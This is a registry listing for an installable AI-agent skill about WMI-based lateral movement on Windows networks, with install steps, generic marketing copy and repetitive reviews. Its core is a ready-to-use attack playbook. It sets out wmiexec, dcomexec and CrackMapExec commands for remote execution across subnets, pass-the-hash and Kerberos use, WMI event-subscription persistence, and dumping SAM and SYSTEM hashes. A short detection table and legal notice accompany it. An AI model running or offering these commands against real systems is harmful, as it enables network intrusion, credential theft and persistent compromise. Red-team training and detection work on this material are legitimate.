Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-lateral-movement-with-wmiexecExecute the skills CLI command in your project's root directory to begin installation:
Fetches performing-lateral-movement-with-wmiexec from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-lateral-movement-with-wmiexec. Access via /performing-lateral-movement-with-wmiexec in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | performing-lateral-movement-with-wmiexec |
| description | Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - red-team - lateral-movement - wmiexec - wmi - post-exploitation - impacket - windows |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - Executable Denylisting - Execution Isolation - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.
# With cleartext password
wmiexec.py domain.local/admin:'Password123'@10.10.10.50
# With NT hash (Pass-the-Hash)
wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected]
# With Kerberos ticket
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass domain.local/[email protected]
# Execute specific command (non-interactive)
wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
# Using dcomexec.py as alternative (MMC20.Application DCOM object)
dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
# Using ShellWindows DCOM object
dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
# Execute single command on subnet
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
# Execute with hash
crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
# Execute PowerShell command
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
# Check local admin access via WMI
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
# Using wmic.exe (deprecated but still available)
wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
# Using PowerShell Invoke-WmiMethod
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
-Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
# Using CIM sessions (modern replacement for WMI)
$session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
-MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
# Execute encoded PowerShell command remotely
$cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
-Credential $cred -ArgumentList "powershell.exe -enc $cmd"
# Create WMI event subscription (command runs on every logon)
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
-Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
-Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
-Arguments @{Filter=$filter; Consumer=$consumer}
# Dump SAM hashes via WMI + reg save
wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
# Download saved hives
smbclient.py domain.local/admin:'Password123'@10.10.10.50
> get C:\temp\sam
> get C:\temp\system
# Extract hashes from saved hives
secretsdump.py -sam sam -system system LOCAL
| Tool | Purpose | Platform |
|---|---|---|
| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |
| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |
| CrackMapExec | Multi-target WMI execution | Linux (Python) |
| wmic.exe | Native Windows WMI command-line tool | Windows |
| PowerShell CIM | Modern WMI cmdlets | Windows |
| SharpWMI | .NET WMI execution tool | Windows (.NET) |
| Method | Service Created | Output Method | Stealth Level |
|---|---|---|---|
| wmiexec.py | No | Temp file on ADMIN$ | Medium |
| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |
| wmic.exe | No | None (blind) or redirect | Medium |
| PowerShell WMI | No | None (blind) or redirect | High |
| PsExec (comparison) | Yes | Service output pipe | Low |
| Indicator | Detection Method |
|---|---|
| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |
| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |
| Remote WMI connections (DCOM/135) | Network monitoring for DCOM traffic to workstations |
| WmiPrvSE.exe spawning cmd.exe/powershell.exe | EDR process tree analysis |
| Event 5857/5860/5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
We added performing-lateral-movement-with-wmiexec from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
performing-lateral-movement-with-wmiexec fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added performing-lateral-movement-with-wmiexec from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
performing-lateral-movement-with-wmiexec fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
performing-lateral-movement-with-wmiexec is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Solid pick for teams standardizing on skills: performing-lateral-movement-with-wmiexec is focused, and the summary matches what you get after install.
performing-lateral-movement-with-wmiexec is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in performing-lateral-movement-with-wmiexec — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Keeps context tight: performing-lateral-movement-with-wmiexec is the kind of skill you can hand to a new teammate without a long onboarding doc.
I recommend performing-lateral-movement-with-wmiexec for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 33